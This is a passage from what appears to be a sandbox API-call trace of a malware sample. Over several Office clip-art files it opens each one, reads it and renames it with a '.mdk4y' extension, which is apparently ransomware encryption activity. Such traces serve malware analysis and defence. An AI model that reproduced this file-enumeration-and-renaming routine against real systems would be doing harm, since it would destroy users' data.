lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285750.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.088] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825631900000) returned 1 [0181.089] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x958c, lpOverlapped=0x0) returned 1 [0181.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825632000000) returned 1 [0181.090] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825632000000) returned 1 [0181.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf.mdk4y")) returned 1 [0181.091] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.091] AreFileApisANSI () returned 1 [0181.091] GetACP () returned 0x4e4 [0181.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0285926.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0285926.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.091] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.092] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825632200000) returned 1 [0181.092] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3452, lpOverlapped=0x0) returned 1 [0181.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825633800000) returned 1 [0181.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825633800000) returned 1 [0181.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285926.wmf.mdk4y")) returned 1 [0181.109] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.109] AreFileApisANSI () returned 1 [0181.109] GetACP () returned 0x4e4 [0181.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0286034.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0286034.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.110] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825634100000) returned 1 [0181.111] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9e0, lpOverlapped=0x0) returned 1 [0181.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825637100000) returned 1 [0181.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825637100000) returned 1 [0181.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf.mdk4y")) returned 1 [0181.142] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.142] AreFileApisANSI () returned 1 [0181.142] GetACP () returned 0x4e4 [0181.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0286068.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0286068.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.143] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.143] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825637300000) returned 1 [0181.143] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9d0, lpOverlapped=0x0) returned 1 [0181.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825637500000) returned 1 [0181.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825637500000) returned 1 [0181.145] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf.mdk4y")) returned 1 [0181.146] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.146] AreFileApisANSI () returned 1 [0181.146] GetACP () returned 0x4e4 [0181.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0287005.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0287005.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.146] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825637700000) returned 1 [0181.147] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb21e, lpOverlapped=0x0) returned 1 [0181.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825639400000) returned 1 [0181.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825639400000) returned 1 [0181.165] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf.mdk4y")) returned 1 [0181.166] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.166] AreFileApisANSI () returned 1 [0181.166] GetACP () returned 0x4e4 [0181.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0291984.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0291984.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.166] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825639700000) returned 1 [0181.167] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x76ea, lpOverlapped=0x0) returned 1 [0181.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825645600000) returned 1 [0181.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825645600000) returned 1 [0181.227] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf.mdk4y")) returned 1 [0181.228] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.228] AreFileApisANSI () returned 1 [0181.228] GetACP () returned 0x4e4 [0181.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0292020.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0292020.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.229] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825646000000) returned 1 [0181.230] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7148, lpOverlapped=0x0) returned 1 [0181.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825648800000) returned 1 [0181.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825648800000) returned 1 [0181.259] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf.mdk4y")) returned 1 [0181.260] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.260] AreFileApisANSI () returned 1 [0181.260] GetACP () returned 0x4e4 [0181.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0292152.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0292152.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.261] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825649100000) returned 1 [0181.268] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x20ce, lpOverlapped=0x0) returned 1 [0181.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825650000000) returned 1 [0181.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825650000000) returned 1 [0181.270] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf.mdk4y")) returned 1 [0181.272] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.272] AreFileApisANSI () returned 1 [0181.272] GetACP () returned 0x4e4 [0181.272] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0292982.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0292982.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.272] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825650300000) returned 1 [0181.273] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x998, lpOverlapped=0x0) returned 1 [0181.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825650400000) returned 1 [0181.275] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825650500000) returned 1 [0181.275] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf.mdk4y")) returned 1 [0181.279] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.279] AreFileApisANSI () returned 1 [0181.279] GetACP () returned 0x4e4 [0181.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293234.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293234.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.280] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825651000000) returned 1 [0181.280] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5ba, lpOverlapped=0x0) returned 1 [0181.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825652600000) returned 1 [0181.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825652600000) returned 1 [0181.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf.mdk4y")) returned 1 [0181.297] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.297] AreFileApisANSI () returned 1 [0181.297] GetACP () returned 0x4e4 [0181.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293236.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293236.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.297] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825652900000) returned 1 [0181.299] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x766, lpOverlapped=0x0) returned 1 [0181.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825654500000) returned 1 [0181.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825654500000) returned 1 [0181.316] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf.mdk4y")) returned 1 [0181.317] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.317] AreFileApisANSI () returned 1 [0181.317] GetACP () returned 0x4e4 [0181.317] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293238.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293238.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.317] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825654700000) returned 1 [0181.318] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78a, lpOverlapped=0x0) returned 1 [0181.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825659000000) returned 1 [0181.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825659000000) returned 1 [0181.360] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf.mdk4y")) returned 1 [0181.361] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.361] AreFileApisANSI () returned 1 [0181.361] GetACP () returned 0x4e4 [0181.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293240.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293240.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.361] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825659200000) returned 1 [0181.362] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x88e, lpOverlapped=0x0) returned 1 [0181.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825664600000) returned 1 [0181.416] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825664600000) returned 1 [0181.417] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf.mdk4y")) returned 1 [0181.418] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.418] AreFileApisANSI () returned 1 [0181.418] GetACP () returned 0x4e4 [0181.418] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293570.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293570.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.418] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825664800000) returned 1 [0181.419] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x92c, lpOverlapped=0x0) returned 1 [0181.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825666000000) returned 1 [0181.430] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825666000000) returned 1 [0181.430] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf.mdk4y")) returned 1 [0181.440] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0181.440] AreFileApisANSI () returned 1 [0181.440] GetACP () returned 0x4e4 [0181.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0293828.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0293828.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0181.440] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0181.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 